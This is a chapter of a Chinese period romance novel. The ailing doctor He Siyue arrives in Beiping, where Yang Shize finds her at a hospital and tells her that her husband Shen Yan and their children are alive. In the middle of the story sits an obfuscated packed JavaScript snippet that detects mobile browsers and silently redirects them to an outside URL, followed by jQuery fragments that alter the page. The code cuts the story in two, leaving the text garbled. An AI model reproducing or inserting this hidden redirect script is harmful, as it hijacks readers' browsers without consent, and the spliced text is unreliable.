轮船在海上漂了三天三夜。
何思玥晕船，吐得昏天黑地，几乎把胆汁都吐出来。同舱的人看她可怜，给她递水递药，她都摇头拒绝。
她只是抱着那个油纸包，靠在舱壁上，闭着眼睛熬。
床上的人都觉着何思玥是一个奇怪的人，却没有人知道她的心里有多苦。
熬过这一程，就能到北平。
到北平，就能治病。
治好病，就能继续找他们。
她就这样一遍一遍地告诉自己，像念经一样，念了一路。
船到天津的时候，她已经瘦得只剩一把骨头。从天津转火车去北平，又是一路颠簸。
她不知道自己是怎么撑下来的，只知道每到撑不住的时候，就摸摸怀里的油纸包，想想沈晏和孩子们。
那里面有她写给沈晏的每一封信。
那里面有她活下去的全部理由。
火车在一个清冷的早晨抵达北平。
何思玥走出车站，被迎面扑来的冷风吹得打了个寒噤。她拢紧身上单薄的外套，抬头看向这座陌生的城市。灰蒙蒙的天，灰扑扑的墙，远处有鸽哨声传来，悠长而寂寥。
她站在人来人往的站前广场上，一时不知道往哪里走。
忽然，一个穿棉袍的中年男人走过来，上下打量了她一眼。
“是何医生吧？”那人问，“陈扬先生托我来接您。”
何思玥点点头，跟着那人上了一辆黄包车。
车子在北平的胡同里穿行，拐过一条又一条狭窄的巷子。何思玥靠着车篷，看着那些斑驳的灰墙和光秃秃的槐树，心里涌起一种说不清的滋味。
这是他的国家。这是他们的国家。
他会不会也在这座城市里？会不会也正在某个胡同里，抱着两个孩子，等着她？
她不敢想，又忍不住想。
黄包车在一处小院前停下。那人帮她提了行李，指着院门说：“何医生，这是我替您租的房子，不大，但干净。医院离这儿不远，走过去一刻钟。您先安顿下来，有什么需要尽管说。”
何思玥道了谢，推门走进那个小院。
院子很小，只有两间房。一棵老槐树站在院子中央，叶子落尽了，光秃秃的枝桠伸向天空。树下有一口井，井台边摆着几盆冻死的花草。
她站在院子里，看着那棵槐树，看着那口井，看着那几间低矮的屋子。
这里就是她接下来要生活的地方。
这里离他也许很近，也许很远。
她把行李放进屋里，打开油纸包，把那沓信拿出来，整整齐齐地摆在床头。
然后她坐下来，看着那些信，看了很久很久。
“沈晏，”她轻声说，“我到北平了。”
窗外，寒风呼啸，卷起地上的落叶。
可她没有听到回答。
只有那沓信，静静躺在那里，像她几百多个日夜的思念，沉默地陪着她，等一个不知道会不会到来的明天。
......
那日，杨石泽本来只是去看个普通的咳嗽。
北平的冬天干冷，他从南方来，嗓子受不了，咳了小半个月不见好。朋友介绍他来这家教会医院，说有个从德国回来的大夫，看呼吸道是一把好手。
他挂了号，在走廊里等着。
医院是老式的建筑，走廊昏暗，排椅斑驳。他靠着椅背，百无聊赖地四处打量。护士推着轮椅经过，病人扶着墙慢慢走，有人在窗口拿药，有人坐在角落里低声抽泣。
都是寻常医院里的寻常景象。
然后他看见一个人从走廊尽头走过。
一个穿着深灰色棉袍的女人，瘦得厉害，脸色苍白，头发用一根简单的木簪绾着。她走得很慢，一只手扶着墙，另一只手抱着一沓用油纸包着的东西，像抱着什么珍贵的宝物。
杨石泽的目光落在她身上，又移开，然后又猛地转回去。
那背影——
他腾地站起来，椅子发出刺耳的声响，引得旁边的人纷纷侧目。可他顾不上，他盯着那个即将消失在走廊尽头的背影，心脏像是被什么东西狠狠攥住。
不会的。
不可能。
可那走路的姿态，那扶墙的动作，那微微佝偻却依旧挺直的脊背——
他追了上去。
“何医生——！”
走廊里的人都看向他，可那个背影没有停。
他跑起来，追上去，一把抓住那人的手臂。
那人转过身。
杨石泽看见了她的脸。
他愣在那里，整个人像是被雷劈中了一样。
真的是何思玥。
可她瘦得脱了相。颧骨高高突起，眼窝深陷，脸色蜡黄得吓人。那双向来清亮的眼睛，此刻浑浊无神，眼底是化不开的疲惫和绝望。只有在他喊出“何医生”的那一刻，那双眼睛里才闪过一丝光，随即又黯淡下去。
“杨……先生？”何思玥看着他，像是不敢相信自己的眼睛。她的嘴唇动了动，声音沙哑得几乎听不见，“你怎么……你怎么在这里？”
杨石泽张了张嘴，却发不出声音。
他看见她扶着墙的手，手背上青筋暴起，瘦得像一层皮包着骨头。他看见她怀里的油纸包，抱得那样紧，像是抱着命。他看见她颈侧隐隐露出的纱布边缘，看见她苍白的唇色和微微佝偻的脊背。
他想起沈晏在杭州的日日夜夜，想起那些“查无此人”的回信，想起沈晏对着两个孩子说“妈妈一定会回来”时，眼眶里的泪光。
他的眼眶猛地一热。
“何医生……”他的声音哽住了，顿了好一会儿，才艰难地问出口，“你……你怎么病成这样？”
何思玥看着他，看着他眼眶里的泪光，忽然就懂了。
是杨石泽！
他肯定有沈晏的消息。
她的身体晃了晃，几乎站不稳。杨石泽一把扶住她，把她带到旁边的长椅上坐下。
“杨先生，”她攥住他的袖子，攥得那样紧，指节都泛了白，“沈晏呢？沈晏在哪里？孩子们呢？他们还活着吗？”
杨石泽看着她那双布满血丝的眼睛，看着那张瘦得不成人形的脸，心像是被人拿刀在剜。
他想起沈晏在杭州的每一个夜晚。想起他对着窗外发呆的样子，想起他半夜起来给孩子们盖被子的样子，想起他每次收到回信时那从期待到绝望的眼神。
想起他来北平之前，对着箱底那些照片说的那句话：“等仗打完了，等我们团聚了，我带你去看北平的雪。”
他以为那是遥遥无期的念想。
他没想到，他们真的在北平。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258572|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
只是——
一个在城南，一个在城北。
一个带着孩子苦苦寻觅，一个病入膏肓独自支撑。
他们之间只隔着十几里路，却像是隔了一整个人间。
“何医生，”杨石泽握住她的手，握得紧紧的，声音哽咽得几乎说不出话，“沈晏他……他在北平。怀安和念玥也在。他们都活着。都好好的。”
何思玥愣住了。
她看着他，嘴唇抖得厉害，眼泪无声地涌出来，大颗大颗地往下掉，砸在杨石泽手背上。
“活着？”她喃喃地重复，“活着……他们都活着？”
“活着。”杨石泽用力点头，眼泪也下来了，“都活着。沈晏一直在找你，找了你二十年。杭州，上海，他派人到处打听，可怎么也找不到。他以为你……”
他说不下去了。
何思玥捂着嘴，拼命忍着，可哭声还是从指缝里溢出来。那哭声压抑得太久太久，像是从灵魂深处硬生生撕扯出来的，听得杨石泽心都要碎了。
她哭了很久很久。
哭到眼泪流干，哭到浑身发抖，哭到整个人几乎虚脱。可她的手始终攥着杨石泽的袖子，攥得那样紧，仿佛一松开，这一切就会变成一个梦。
“他在哪儿？”她终于问出口，声音嘶哑得不像自己的，“你带我去找他。现在就去。”
杨石泽看着她的样子——瘦得脱相，脸色蜡黄，扶着墙才能站稳，颈侧还露着纱布的边。他犹豫了。
“何医生，你的病……”
“我没事。”何思玥打断他，眼神里有了这一年多来从未有过的光，“杨先生，你不知道我等这一天等了多久。你不知道我每天晚上是怎么熬过来的。现在你告诉我他就在这里，你让我等？”
她站起来，扶着墙，一步一步往前走。
杨石泽看着她佝偻却坚定的背影，喉结滚动了几下，终究什么也没说。
他走上前，扶住她的手臂。
“我带你去找他。”
何思玥的脚步突然顿住了。
杨石泽感觉到她的身体一僵，以为她撑不住了，连忙扶紧她：“何医生？”
她没有回答。
只是站在那里，望着走廊尽头的窗。窗外的天灰蒙蒙的，有零星的雪花开始飘落。那是北平冬天的第一场雪。
二十年前，她在上海的那间小屋里，也曾见过这样的雪。
那时候沈晏还在身边。那时候她还不曾想过，人生会有这么长的离别。
“杨先生。”她开口，声音很轻。
“嗯？”
“我……”她的嘴唇动了动，忽然说不出话来。
她低头看着自己扶在墙上的那只手。瘦得皮包骨头，青筋暴起，指甲苍白得没有一丝血色。
她又抬起另一只手，摸摸自己的脸，颧骨高高突起，脸颊深深凹陷，皮肤粗糙得像砂纸。
这双手，曾经握着他的手走过上海的梧桐树下。
这张脸，曾经让他移不开目光，让他逢人就说“这是我夫人”。
可现在呢？
现在这副样子，他还认得出来吗？
她想起他离开上海那天早上的样子。西装笔挺，精神抖擞，眼里的光比窗外的阳光还亮。他低头亲她的时候，唇角勾着笑，像个刚得了糖的孩子。